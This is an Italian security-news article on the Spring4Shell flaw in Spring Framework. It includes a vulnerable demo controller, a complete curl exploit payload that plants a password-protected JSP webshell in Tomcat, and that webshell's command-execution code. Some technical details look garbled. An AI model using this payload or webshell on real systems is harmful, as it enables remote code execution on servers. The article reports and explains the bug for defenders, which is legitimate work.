
Una vulnerabilità nel popolare framework Spring per lo sviluppo di applicazioni Web Java espone potenzialmente molte applicazioni Web ad attacchi informatici remoti.
La vulnerabilità, soprannominata Spring4Shell e SpringShell, ha suscitato grande scalpore tra gli esperti di sicurezza nelle ultime 24 ore.
In particolare, i ricercatori di sicurezza hanno cercato di capire se il problema è nuovo o deriva da una vulnerabilità precedente.
Avvio delle iscrizioni al corso Cyber Offensive Fundamentals Vuoi smettere di guardare tutorial e iniziare a capire davvero come funziona la sicurezza informatica? La base della sicurezza informatica, al di là di norme e tecnologie, ha sempre un unico obiettivo: fermare gli attacchi dei criminali informatici. Pertanto "Pensa come un attaccante, agisci come un difensore". Ti porteremo nel mondo dell'ethical hacking e del penetration test come nessuno ha mai fatto prima. Per informazioni potete accedere alla pagina del corso oppure contattarci tramite WhatsApp al numero 379 163 8765 oppure scrivendoci alla casella di posta [email protected].
Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì. |
Secondo gli esperti di Praetorian e Flashpoint , la vulnerabilità è nuova e può essere sfruttata da remoto se l’applicazione Spring viene distribuita su un server Apache Tomcat con una configurazione comune.
Per sfruttare la vulnerabilità, un utente malintenzionato deve individuare e identificare le installazioni di applicazioni Web utilizzando DeserializationUtils. La vulnerabilità non interessa le applicazioni Spring che utilizzano Spring Boot e Tomcat incorporato.
Spring4Shell (a cui non è ancora stato assegnato un ID CVE) avrà probabilmente bisogno di un aggiornamento importante per garantire che le installazioni siano sicure, ha spiegato Richard Ford, direttore tecnico senior di Praetorian.
La vulnerabilità è molto facile da sfruttare, ha affermato Ford, e gli utenti dovranno installare gli aggiornamenti su cui Spring sta già lavorando il prima possibile. Secondo gli esperti di Flashpoint, non si discute ancora della vulnerabilità nella comunità dei criminali informatici.
Gli esperti di sicurezza delle informazioni sono venuti a conoscenza della vulnerabilità per la prima volta quando un ricercatore cinese ha pubblicato un tweet con uno screenshot di un attacco PoC.

Tuttavia, il tweet è stato presto cancellato, a quanto pare perché è un crimine in Cina pubblicare informazioni sulle vulnerabilità senza il permesso del governo. Su VX-Underground, le informazioni su Spring4Shell sono apparse a metà giornata del 30 marzo.
Avendo accesso agli screenshot, gli esperti di sicurezza sono stati in grado di decodificare l’exploit e riprodurre l’attacco in poche ore.
La vulnerabilità sembra (A detta di Rapid7) interessare le funzioni che utilizzano l’ annotazione @RequestMapping e i parametri POJO (Plain Old Java Object). Ecco un esempio in una dimostrazione MVC di Springframework :
package net.javaguides.springmvc.helloworld.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;
import net.javaguides.springmvc.helloworld.model.HelloWorld;
@Controller
public class HelloWorldController {
@RequestMapping("/rapid7")
public void vulnerable(HelloWorld model) {
}
}
Un controller ( HelloWorldController), una volta caricato in Tomcat, gestirà le richieste HTTP a http://name/appname/rapid7. La funzione che gestisce la richiesta viene chiamata vulnerablee dispone di un parametro POJO HelloWorld. Qui, HelloWorldè ridotto ma POJO può essere piuttosto complicato se necessario:
package net.javaguides.springmvc.helloworld.model;
public class HelloWorld {
private String message;
}
Questa è l’intera condizione sfruttabile, almeno dalle versioni di Spring Framework da 4.3.0 a 5.3.15. (Non sono state esplorate le versioni indietro alla 4.3.0.)
Se compiliamo il progetto e lo ospitiamo su Tomcat, possiamo quindi sfruttarlo con il seguente comando curl. Nota quanto segue utilizza esattamente lo stesso payload dalla PoC creata dal ricercatore cinese.
curl -v -d "class.module.classLoader.resources.context.parent.pipeline
.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%
22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRunt
ime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%
20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20
while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7
D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context
.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources
.context.parent.pipeline.first.directory=webapps/ROOT&class.module.cl
assLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&cl
ass.module.classLoader.resources.context.parent.pipeline.first.fileDat
eFormat=" http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-
SNAPSHOT/rapid7
Questo payload rilascia una webshell protetta da password nella directory ROOT di Tomcat chiamata tomcatwar.jsp, e si presenta così:
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in
= -.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.
println(new String(b)); } } -
Gli aggressori possono a questo punto invocare i comandi al server.
Ecco un esempio di esecuzione whoamiper ottenere albinolobster:

La versione Java sembra avere importanza.
Il test su OpenJDK 1.8.0_312 non riesce, ma OpenJDK 11.0.14.1 funziona.
Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

CybercrimeUn messaggio di cancellazione da Booking.com con una penale elevata sembra una pratica commerciale tipica di hotel e appartamenti. Ma è proprio questo tipo di email a dare il via a una nuova campagna malware,…
HackingUn nuovo script open source consente agli utenti di Windows 11 di disattivare in modo esteso le funzionalità di intelligenza artificiale integrate nel sistema operativo. Il progetto, sviluppato da Zoicware, si chiama RemoveWindowsAI e nasce…
InnovazioneQuando si parla di sicurezza applicativa, il problema raramente è uno solo. È quasi sempre una catena di piccoli difetti, scelte sbagliate e controlli mancanti che, sommati, aprono la strada a incidenti gravi. È anche…
Cybercrimen8n, la piattaforma di automazione del flusso di lavoro “fair-code” apprezzata dai team tecnici per la sua combinazione di velocità low-code e flessibilità di programmazione, ha emesso un avviso di sicurezza critico. Pochi dettagli sono…
VulnerabilitàWhatsApp, l’app di messaggistica di Meta con oltre 3 miliardi di utenti attivi mensili, ha iniziato a introdurre modifiche tecniche per mitigare alcune vulnerabilità legate alla privacy dei dispositivi degli utenti. Le correzioni, individuate tramite…